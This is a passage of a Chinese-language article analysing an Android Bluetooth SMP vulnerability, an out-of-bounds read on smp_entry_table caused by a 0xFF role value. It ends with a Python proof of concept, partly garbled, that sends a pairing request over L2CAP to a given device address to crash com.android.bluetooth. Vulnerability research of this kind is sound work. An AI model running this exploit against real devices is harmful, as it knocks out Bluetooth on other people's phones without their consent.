|快速理解Android中的三个蓝牙漏洞( 五 )


953void smp_sm_event(tSMP_CB* p_cb, tSMP_EVENT event,tSMP_INT_DATA* p_data) { ... 957tSMP_ENTRY_TBL entry_table = smp_entry_table[p_cb->role]; ... 970/* look up the state table for the current state */ 971/* lookup entry /w event & curr_state */ 972/* If entry is ignore, return. 973* Otherwise, get state table (according to curr_state orall_state) */ 974if ((event <= SMP_MAX_EVT) && 975((entry = entry_table[event - 1][curr_state]) != SMP_SM_IGNORE)) {在957行 , 代码使用p_cb-> role作为索引从smp_entry_table静态数组中读取 , 而无需检查p_cb-> role是否具有两个有效值之一(HCI_ROLE_MASTER(0x00)或HCI_ROLE_SLAVE(0x01)) 。 这就是漏洞所在:smp_entry_table静态数组仅包含2个元素 , 而p_cb-> role的值为0xFF , 是在通过BR / EDR传输接收到包含SMP_OPCODE_PAIRING_REQ命令的SMP数据包之后 , 而不是通过预期的低能耗传输:
static const tSMP_ENTRY_TBL smp_entry_table[] = {smp_master_entry_map, smp_slave_entry_map};因此 , 由于执行entry_table = smp_entry_table [0xff]时的OOB索引 , entry_table局部变量将包含一些垃圾值(无论是否在bluetooth.default.so二进制数据的smp_entry_table全局变量之后) 。 因此 , 稍后 , 在第975行 , 当取消引用entry_table [event- 1] [curr_state]时 , 很可能会导致分段错误(受特定版本的bluetooth.default.so二进制文件的影响 , smp_entry_table全局变量位于该二进制文件中)) , 这将使com.android.bluetooth守护程序停止工作 。
总结来说 , 过程如下图所示:
|快速理解Android中的三个蓝牙漏洞
本文插图

文中提及的函数调用关系:
|快速理解Android中的三个蓝牙漏洞
本文插图

【箭头指向表示调用该函数】
理论上讲 , 如果能够找到了一个版本的bluetooth.default.so , 取消引用entry_table [event-1] [curr_state] , 那么程序就不会崩溃 , 可以进一步解决此错误 。
Proof-of-Concept(概念验证)
以下Python代码触发了该漏洞 , 并且很有可能使目标设备上的com.android.bluetooth守护程序崩溃 。
此Python代码使用Blueborne框架中的l2cap_infra包 。
用法: $ sudo python smp01.py <src- hci > <target-bdaddr> 。
例如:$ sudo python smp01.py hci0 00:11:22:33:44:55 。
import os import sys from l2cap_infra import * L2CAP_SMP_CID = 0x06 # This matches the CID used in l2cap_infra to establish a successful connection. OUR_LOCAL_SCID = 0x40 SMP_OPCODE_PAIRING_REQ = 0x01 def main(src_hci, dst_bdaddr): l2cap_loop, _ = create_l2cap_connection(src_hci, dst_bdaddr) print ''Sending SMP_OPCODE_PAIRING_REQ in L2CAP connection...'' cmd_code = SMP_OPCODE_PAIRING_REQ the_id = 0x41# not important cmd_len = 0x08 flags = 0x4142# not important # here we use L2CAP_SMP_CID as cid l2cap_loop.send(L2CAP_Hdr(cid=L2CAP_SMP_CID) / Raw(struct.pack(' '') else: if os.getuid(): print ''Error: This script must be run as root.'' else: main(*sys.argv[1:])结论
漏洞2和漏洞1思想本质上是一致的 。